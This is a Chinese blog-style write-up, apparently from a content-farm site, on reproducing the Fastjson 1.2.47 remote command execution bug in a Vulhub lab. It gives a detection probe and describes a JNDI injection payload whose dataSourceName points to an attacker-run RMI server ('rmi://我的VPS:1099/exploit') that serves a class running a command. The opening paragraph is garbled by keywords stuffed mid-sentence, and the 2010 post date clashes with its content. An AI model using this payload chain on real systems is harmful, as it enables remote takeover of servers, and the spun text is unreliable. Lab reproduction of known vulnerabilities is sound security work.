知识

复现Fastjson1247远程命令执行漏洞

时间:2010-12-5 17:23:32  作者:探索   来源:知识  查看:  评论:0
内容摘要:Fastjson 1.2.47的洞子,是我见过最“优雅”的绕过。不是那种硬刚黑名单的粗暴,而是利用了缓存机制的盲区。攻击者根本不需要碰那些被禁用的类名,只要在`@type`里写一个看似无害的类,再配合

Fastjson 1.2.47的复现洞子,是远程我见过最“优雅”的绕过。不是命令那种硬刚黑名单的粗暴,而是执行利用了缓存机制的盲区。攻击者根本不需要碰那些被禁用的漏洞类名,只要在`@type`里写一个看似无害的复现类,再配合一个Map,远程就能让解析器把恶意类悄悄塞进全局缓存。命令等第二次解析触发时,执行类加载器就直接把它拖出来了。漏洞整个过程干净利落,复现像开了一把没有弹道的远程锁。

我复现的命令时候用的环境是JDK 8u102,靶场是执行Vulhub那个经典的Docker镜像。启动容器后,漏洞先确认了Fastjson版本——直接发个`{ "@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}`的探测包,如果返回`{ }`而不是报错,说明版本在1.2.47之前,漏洞肯定存在。这个探测手法很土,但有效。

真正动手打的时候,我选了JNDI注入这条链路。先在VPS上用`marshalsec`起一个恶意的RMI服务,监听1099端口,把攻击类的引用绑上去。这个攻击类里写死了要执行的命令,比如`touch /tmp/pwned`。然后构造最终的Payload:外层是一个JSON对象,`@type`指向`java.lang.Class`,里面套一个Map,Map里再写`val`属性指向`JdbcRowSetImpl`,同时在`dataSourceName`字段塞上`rmi://我的VPS:1099/exploit`。发送过去的时候,Fastjson会先解析外层,把`JdbcRowSetImpl`这个类名缓存下来——注意,这里还没实例化。接着解析到`dataSourceName`时,才触发JNDI查找,RMI服务返回一个远程引用,目标服务器就乖乖去加载我的恶意类了。

第一次打的时候我没成功,排查了半天发现是RMI服务没绑对地址。后来把`java.rmi.server.hostname`显式设成VPS的IP,又等了半分钟让JNDI缓存过期,再打就通了。看到`touch`命令在容器里生效的瞬间,那种感觉挺奇妙的——你只是发了一段JSON字符串,对方就执行了你想要的命令。这玩意儿比SQL注入那种还要抽象,因为攻击面完全在数据格式层面。

修复方案其实也简单,1.2.48版本直接把`java.lang.Class`加进了黑名单,并且默认关闭了类缓存。但问题是,很多老业务系统根本不会主动升级这个库,因为Fastjson在序列化性能上确实有优势,替换成本不小。我见过不少公司到现在还在用1.2.24,那漏洞更是千疮百孔。安全这东西,很多时候不是技术难题,而是业务决策问题。

复盘这个漏洞,最值得玩味的是它的触发条件并不依赖反序列化本身,而是依赖解析顺序和状态管理。Fastjson的`checkAutoType`函数本来是想拦恶意类的,结果被`java.lang.Class`这种合法类当跳板绕过去了。设计者可能压根没想过,一个用于获取类信息的类,能变成加载任意类的入口。这种思维盲区,比代码写错更致命。

最近更新
热门排行
copyright © 2026 powered by 力不从心网   sitemap